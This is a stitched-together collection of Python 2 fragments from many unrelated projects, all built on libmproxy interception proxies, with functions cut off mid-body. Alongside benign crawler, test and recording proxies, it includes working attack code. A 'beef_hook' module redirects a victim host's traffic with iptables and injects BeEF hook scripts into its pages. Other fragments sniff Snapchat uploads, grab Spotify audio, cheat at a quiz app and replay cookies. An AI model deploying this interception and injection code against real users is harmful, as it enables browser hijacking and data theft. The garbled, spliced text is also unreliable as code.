def init_proxy(db_socket_address, crawl_id):
"""
# deploys an (optional) instance of mitmproxy used to log crawl data
<db_socket_address> is the connection address of the DataAggregator
<crawl_id> is the id set by the TaskManager
"""
proxy_site_queue = Queue.Queue(
) # queue for crawler to communicate with proxy
# gets local port from one of the free ports
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('', 0))
proxy_port = sock.getsockname()[1]
sock.close()
config = proxy.ProxyConfig(cacert=os.path.join(os.path.dirname(__file__),
'mitmproxy.pem'), )
server = proxy.ProxyServer(config, proxy_port)
print 'Intercepting Proxy listening on ' + str(proxy_port)
m = MITMProxy.InterceptingMaster(server, crawl_id, proxy_site_queue,
db_socket_address)
thread = threading.Thread(target=m.run, args=())
thread.daemon = True
thread.start()
return proxy_port, proxy_site_queue
def main(argv):
config = proxy.ProxyConfig(
cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
server = proxy.ProxyServer(config, 8080)
print 'Starting proxy...'
m = InjectingMaster(server)
m.run()
def __init__(self, config):
s = proxy.ProxyServer(config, 0)
state = flow.State()
flow.FlowMaster.__init__(self, s, state)
self.apps.add(testapp, "testapp", 80)
self.apps.add(errapp, "errapp", 80)
self.clear_log()
def start_filter_proxy(options):
print "Press Ctrl+C to stop the proxy"
port = int(options.port)
config = proxy.ProxyConfig(
cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
server = proxy.ProxyServer(config, port)
m = HeaderFilterProxy(server)
m.run()
def main (argv):
config = proxy.ProxyConfig(
cacert = os.path.expanduser('./mitmproxy.pem'),
)
server = proxy.ProxyServer(config, 8080)
print 'Intercepting Proxy listening on 8080'
m = InterceptingMaster(server)
m.run()
def __init__(self, testq, config):
s = proxy.ProxyServer(config, 0)
s.apps.add(testapp, "testapp", 80)
s.apps.add(errapp, "errapp", 80)
state = flow.State()
flow.FlowMaster.__init__(self, s, state)
self.testq = testq
self.clear_log()
self.start_app(APP_HOST, APP_PORT, False)
def main():
print "serving at port", PORT
#httpd.serve_forever()
config = proxy.ProxyConfig()
server = proxy.ProxyServer(config, PORT)
m = RequestRecorder(server)
m.run()
def __init__(self, port):
password_manager = http_auth.PassManSingleUser('scrapy', 'scrapy')
authenticator = http_auth.BasicProxyAuth(password_manager, "mitmproxy")
cert_path = os.path.join(os.path.abspath(os.path.dirname(__file__)),
'keys', 'mitmproxy-ca.pem')
server = proxy.ProxyServer(
proxy.ProxyConfig(authenticator=authenticator, cacert=cert_path),
port)
Thread.__init__(self)
controller.Master.__init__(self, server)
def main(argv):
if len(argv) != 2:
print "Usage: %s IFRAME_URL" % argv[0]
sys.exit(1)
iframe_url = argv[1]
config = proxy.ProxyConfig(
cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
server = proxy.ProxyServer(config, 8080)
print 'Starting proxy...'
m = InjectingMaster(server, iframe_url)
m.run()
class beef_hook(Attack):
""" Injects BeEF hooks into poisoned traffic. Requires libmproxy
and it's dependencies
"""
def __init__(self):
self.hook_path = None
self.proxy_server = None
self.hooker = None
self.hooked_host = None
self.hook_script = "<script src=\"{0}\"></script>"
self.iptable_http = "iptables -t nat -A PREROUTING -p tcp --dport 80 -s {0} -j REDIRECT --to-port 5544"
super(beef_hook, self).__init__("BeEF Hook")
def modip_rule(self, enable=True):
""" enables or disables the iptable rule for forwarding traffic locally
"""
if enable:
util.init_app(self.iptable_http.format(self.hooked_host))
else:
util.init_app(
self.iptable_http.replace('-A', '-D').format(self.hooked_host))
def initialize(self):
while True:
try:
self.hook_path = raw_input('[!] Enter path to BeEF Hook: ')
self.hooked_host = raw_input('[!] Enter host to hook: ')
tmp = raw_input(
'[!] Hooking host \'%s\'. Is this correct? [Y/n] ' %
self.hooked_host)
if 'n' in tmp.lower():
return None
break
except KeyboardInterrupt:
return None
except Exception, e:
util.Error(e)
self.hook_script = self.hook_script.format(self.hook_path)
self.modip_rule()
self.running = True
config = proxy.ProxyConfig(transparent_proxy=dict(
resolver=platform.resolver(), sslports=[443]))
config.skip_cert_cleanup = True
self.proxy_server = proxy.ProxyServer(config, 5544)
self.hooker = Hooker(self.proxy_server, self.hook_script)
thread = Thread(target=self.hooker.run)
thread.start()
return self.hooked_host
def __init__(self):
Thread.__init__(self)
config = proxy.ProxyConfig(
cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
transparent_proxy=dict(showhost=True,
resolver=platform.resolver(),
sslports=[443, 8443]) #Thanks nmonkee
)
state = flow.State()
server = proxy.ProxyServer(config, 8080)
self.m = MyMaster(server, state)
def start_creator_proxy(options):
global collection
port = int(options.port)
name = options.name
path = options.path
host = options.host
if options.restricted_headers == 'false':
restricted_headers = False
else:
restricted_headers = True
methods = options.methods
status_codes = ""
print "Proxy running at %d" % (port)
print "Press Ctrl+C to stop the proxy"
rules = {
'host': host,
'methods': methods,
'restricted_headers': restricted_headers
}
collection = Collection(name, path)
config = proxy.ProxyConfig(
cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
server = proxy.ProxyServer(config, port)
if options.tcp_connection == 'false':
tcp_connection = False
else:
tcp_connection = True
m = CollectionCreatorProxy(server,
collection,
rules,
tcp_connection=tcp_connection,
tcp_host=options.tcp_host,
tcp_port=options.tcp_port)
m.run()
signal.signal(signal.SIGINT, signal_handler)
print 'Press Ctrl+C again to save the collection'
signal.pause()
def initialize(self):
self.hook_script = self.hook_script.format(self.config['hook_path'].value)
self.modip_rule()
self.running = True
config = proxy.ProxyConfig(transparent_proxy=dict(
resolver = platform.resolver(),
sslports = [443])
)
config.skip_cert_cleanup = True
self.proxy_server = proxy.ProxyServer(config, 5544)
self.hooker = Hooker(self.proxy_server, self.hook_script)
util.Msg('Firing up BeEF hook...')
thread = Thread(target=self.hooker.run)
thread.start()
return True
def initialize(self):
self.load_file()
if (len(self.replace_regex) + len(self.replace_tags)) <= 0:
util.Error("No matches loaded.")
return False
self.modip()
self.running = True
config = proxy.ProxyConfig(transparent_proxy=dict(
resolver=platform.resolver(), sslports=[443]))
config.skip_cert_cleanup = True
self.proxy_server = proxy.ProxyServer(config, 5544)
self.hooker = Hooker(self.proxy_server, self.replace_regex,
self.replace_tags)
util.Msg("Launching replacer...")
thread = Thread(target=self.hooker.run)
thread.start()
return True
def main():
#config stuff
if(len(sys.argv) == 2):
if(os.path.isfile(sys.argv[1])):
sys.argv[1] = "@" + sys.argv[1]
os.chdir(os.path.split(inspect.getfile( inspect.currentframe() ))[0])
defaultConfig = (len(sys.argv) == 1)
if defaultConfig and os.path.exists('default.conf'):
sys.argv.insert(1,'@default.conf')
parser = ArgumentParser(
usage = "%(prog)s [options]",
fromfile_prefix_chars="@"
)
ArgumentParser.convert_arg_line_to_args = hcmdline.convert_arg_line_to_args
parser.add_argument('--version', action='version', version=version.NAMEVERSION)
mcmdline.common_options(parser)
hcmdline.fix_options(parser) #remove some mitmproxy stuff
options = parser.parse_args()
dumpoptions = dump.Options(dumpdir=options.dumpdir,**mcmdline.get_common_options(options))
#set up proxy server
proxyconfig = mproxy.process_proxy_options(parser, options)
if options.no_server:
server = mproxy.DummyServer(proxyconfig)
else:
try:
server = mproxy.ProxyServer(proxyconfig, options.port, options.addr)
except mproxy.ProxyServerError, v:
print >> sys.stderr, "%(name)s: %(args)s" % {"name": version.NAME, "args": v.args[0]}
sys.exit(1)
def __init__(self, testq, config):
s = proxy.ProxyServer(config, 0)
state = flow.State()
flow.FlowMaster.__init__(self, s, state)
self.testq = testq
def __init__(self, port, testq):
serv = proxy.ProxyServer(proxy.SSLConfig("data/testkey.pem"), port)
controller.Master.__init__(self, serv)
self.testq = testq
self.log = []
class SpotifyProxy(flow.FlowMaster):
def run(self):
try:
flow.FlowMaster.run(self)
except KeyboardInterrupt:
self.shutdown()
def handle_request(self, r):
f = flow.FlowMaster.handle_request(self, r)
if f:
r._ack()
return f
def handle_response(self, r):
f = flow.FlowMaster.handle_response(self, r)
if f:
r._ack()
if 'cloudfront.net' in f.request.host and 'mp3' in f.request.path:
filename = '%s.mp3' % hashlib.sha1(str(random.random())).hexdigest()
mp3 = open(filename, 'w')
mp3.write(f.response.content)
mp3.close()
print "Saved to %s" % filename
return f
config = proxy.ProxyConfig()
state = flow.State()
server = proxy.ProxyServer(config, 9000)
m = SpotifyProxy(server, state)
m.run()
os.system('open %s' % filename)
self.count += 1
def handle_request(self, msg):
hid = (msg.host, msg.port)
if msg.host == 'feelinsonice-hrd.appspot.com' and msg.path == '/bq/upload':
env = {}
env['REQUEST_METHOD'] = msg.method
env['CONTENT_TYPE'] = msg.get_content_type()
env['CONTENT_LENGTH'] = len(msg.content)
c = cgi.parse(environ=env, fp=StringIO(msg.content))
if c.has_key('username'):
print 'Upload from %s' % c['username'][0]
self.process_snapchat(c['data'][0])
msg.reply()
def handle_response(self, msg):
hid = (msg.request.host, msg.request.port)
if msg.request.host == 'feelinsonice-hrd.appspot.com':
self.process_snapchat(msg.content)
msg.reply()
config = proxy.ProxyConfig(
cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
port = 3128
server = proxy.ProxyServer(config, port)
m = SnapSniff(server)
print 'Listening on port %s' % port
m.run()
for answer in powerupq['answers']:
if cont == correcta_powerup:
# print colored("%s. %s" % (cont,answer),"green")
print (Fore.GREEN + "%s. %s" % (cont,answer))
else:
# print colored("%s. %s" % (cont,answer),"red")
print (Fore.RED + "%s. %s" % (cont,answer))
cont += 1
print (Fore.RESET)
msg.reply()
config = proxy.ProxyConfig(
cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")
)
print Fore.BLUE
print " ********************************************"
print " * Author: Felipe Molina (@felmoltor) *"
print " * Date: January 2014 *"
print " * *"
print " * PREGUNTADOS CHEATER v0.1 *"
print " * Just showing you the correct answers :-) *"
print " ********************************************"
print Fore.RESET
print "Proxy listening on 192.168.1.132:8888..."
server = proxy.ProxyServer(config, 8888)
m = PreguntadosMaster(server)
m.run()
print "Bye, bye cheater..."
#!/usr/bin/python
from libmproxy import controller, proxy
class Sniffer(controller.Master):
def run(self):
try:
return controller.Master.run(self)
except KeyboardInterrupt:
self.shutdown()
def handle_request(self, request):
print "Got request\n" + str(request.headers)
request._ack()
def handle_response(self, response):
print "Got response\n" + str(response.headers)
print response.content
response._ack()
port = 1337
ssl_config = proxy.SSLConfig("cert.pem")
proxy_server = proxy.ProxyServer(ssl_config, port)
m = Sniffer(proxy_server)
print "Running proxy on port " + str(port)
m.run()
class StickyMaster(controller.Master):
def __init__(self, server):
controller.Master.__init__(self, server)
self.stickyhosts = {}
def run(self):
try:
return controller.Master.run(self)
except KeyboardInterrupt:
self.shutdown()
def handle_request(self, msg):
hid = (msg.host, msg.port)
if msg.headers.has_key("cookie"):
self.stickyhosts[hid] = msg.headers["cookie"]
elif hid in self.stickyhosts:
msg.headers["cookie"] = self.stickyhosts[hid]
msg.ack()
def handle_response(self, msg):
hid = (msg.request.host, msg.request.port)
if msg.headers.has_key("set-cookie"):
self.stickyhosts[hid] = f.response.headers["set-cookie"]
msg.ack()
server = proxy.ProxyServer(8080)
m = StickyMaster(server)
m.run()
#################### BEGIN OVERALL CONFIGS ############################
#DOES NOT UPDATE ON THE FLY
resourceScript = userConfig['Overall']['resourceScript']
config = proxy.ProxyConfig(
cacert=os.path.expanduser(userConfig['Overall']['certLocation']),
body_size_limit=userConfig['Overall']['MaxSizeFileRequested'],
)
if userConfig['Overall']['transparentProxy'] == "True":
config.transparent_proxy = {
'sslports': userConfig['Overall']['sslports'],
'resolver': platform.resolver()
}
server = proxy.ProxyServer(config, int(userConfig['Overall']['proxyPort']))
numericLogLevel = getattr(logging, userConfig['Overall']['loglevel'].upper(),
None)
if not isinstance(numericLogLevel, int):
raise ValueError(
"o_O: INFO, DEBUG, WARNING, ERROR, CRITICAL for loglevel in conifg")
sys.exit()
logging.basicConfig(filename=userConfig['Overall']['logname'],
level=numericLogLevel,
format='%(asctime)s %(message)s')
#################### END OVERALL CONFIGS ##############################
# in the future, better inspection modules can be implemented
# based on the request parameters.
current_path = urlparse.urlparse(msg.get_url()).path
# check if we are in protect mode. if we are, we will kill the request
# if the current path was not saved in the DB.
if not args.learn_mode and current_path not in db:
msg.reply(proxy.KILL)
return
# learn the current path if needed
if args.learn_mode:
if current_path not in db:
db[current_path] = True
msg.reply()
def handle_response(self, msg):
# always return the server response as-is.
msg.reply()
if __name__ == '__main__':
# Run in reverse proxy mode
config = proxy.ProxyConfig(reverse_proxy=('http', args.server_host,
args.server_port))
server = proxy.ProxyServer(config, args.incoming_port)
defender = ServerDefender(server)
defender.run()
def main(argv):
version = "1.0"
usage = "Usage: %prog [options] <mosquito-websockets-port> <http-proxy-port>"
parser = OptionParser(usage=usage, version=version)
parser.add_option(
'-a',
'--attacker-iface',
dest="attacker_iface",
default="127.0.0.1",
help=
"Interface for services that attacker will connect to [default: %default]"
)
parser.add_option(
'-p',
'--public-iface',
dest="public_iface",
default="0.0.0.0",
help="Interface for services victim access [default: %default]")
parser.add_option(
'--http',
dest="http_port",
type="int",
help=
"Start HTTP server on port HTTP_PORT. Will serve files under webroot/")
parser.add_option('-w',
'--webroot',
dest="webroot",
default="webroot",
help="Directory to serve files from [default: %default]")
parser.add_option('-d',
'--debug',
dest="debug",
action="store_true",
default=False,
help="Turn debugging on [default: %default]")
(options, args) = parser.parse_args()
if options.debug:
logging.getLogger().setLevel(logging.DEBUG)
logging.debug("Debugging mode ON")
if len(args) != 2:
parser.print_help()
parser.error("Incorrect number of arguments")
config = proxy.ProxyConfig(
cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
if not os.path.exists(config.cacert):
logging.info("Generating SSL CA certificate")
import netlib
netlib.certutils.dummy_ca(config.cacert)
logging.info("Install CA cert %s in your browser for best experience",
config.cacert)
ws_port = int(args[0])
http_proxy_port = int(args[1])
server = proxy.ProxyServer(
config, http_proxy_port,
options.attacker_iface) # start HTTP proxy on port 4444
logging.info("Started HTTP proxy server on http://%s:%d", server.address,
server.port)
mosquito_ip = '127.0.0.1'
connector = MosquitoToMitmproxyConnector(
mosquito_ip, 0) # start Malaria server on given IP, any high port
logging.info("Started Mosquito TCP server on %s:%d", connector.ip,
connector.port)
logging.info("Adding WSGI mosquito management app on http://mosquito")
server.apps.add(connector.handle_wsgi_request, "mosquito", 80)
m = OutOfBandMaster(server, flow.State(), connector.handle_flow_request)
ws_p = None
http_s = None
if ws_port:
if sys.platform == 'win32':
# start websockify.exe
ws_p = Process(
target=start_ws_exe,
args=[script_dir, ws_port, connector.ip, connector.port])
ws_p.start()
else:
# start WebSocket server in separate port
from websockify.websocketproxy import WebSocketProxy
ws_server = WebSocketProxy(target_host=connector.ip,
target_port=connector.port,
listen_port=ws_port,
listen_host=options.public_iface,
daemon=False)
ws_p = Process(target=ws_server.start_server, args=[])
ws_p.start()
logging.info("Started WebSocket server on ws://%s:%d",
ws_server.listen_host, ws_server.listen_port)
if options.http_port:
import http_server
http_s = http_server.start(options.webroot, options.public_iface,
options.http_port)
m.run()
logging.info("Exiting...")
if ws_p:
ws_p.terminate()
if http_s:
http_s.shutdown()
res = r.json()
if res['match']:
print '=' * 80
print '*** Holy F*****g shit! Match from {0} ***'.format(name)
print '=' * 80
else:
print 'Nope {0}'.format(name)
def get_headers(self):
if not self.token:
return False
headers = HEADERS
headers['X-Auth-Token'] = self.token
headers['Authorization'] = 'Token token="{0}"'.format(self.token)
return headers
if __name__ == '__main__':
config = proxy.ProxyConfig(
cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
state = flow.State()
server = proxy.ProxyServer(config, PORT)
print '> Proxying on {0}'.format(PORT)
m = MyMaster(server, state)
m.run()
try:
file = open(filename, "a")
file.write(content)
file.flush()
except IOError, args:
pass
file.close()
def Noporxy_request(self, url):
oururl = str(url)
result = filter.search(url)
return result
def Decode_Request_Body(self, data):
if (not data):
return ""
return zlib.decompress(data, 16 + zlib.MAX_WBITS)
def Encode_Request_Body(self, data):
if (not data):
return ""
return zlib.compress(data, zlib.Z_BEST_COMPRESSION)
config = proxy.ProxyConfig(
cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
server = proxy.ProxyServer(config, 8089)
m = Record(server)
m.run()
parser = argparse.ArgumentParser(description='Warc Man-in-the-Middle Proxy')
parser.add_argument('--pem',
default='ca.pem',
help='Privacy-enhanced Electronic Mail file.')
parser.add_argument('-p',
'--port',
default=8000,
help='Port to run the proxy server on.')
parser.add_argument('-f',
'--file',
default='out.warc.gz',
help='WARC filename to save to. Include .gz for gzip.')
args = parser.parse_args()
args.pem = os.path.expanduser(args.pem)
if not os.path.isfile(args.pem):
print "Supplied pem file can not be found:", args.pem
exit()
try: # Parse the port into an integer
args.port = int(args.port)
except:
print "Please specify a valid number for the port:", args.port
exit()
# Create proxy config from PEM file
config = proxy.ProxyConfig(cacert=os.path.expanduser(args.pem))
server = proxy.ProxyServer(config, args.port)
m = WarcMaster(args.file, server)
print "Proxy server running on port", args.port
m.run()
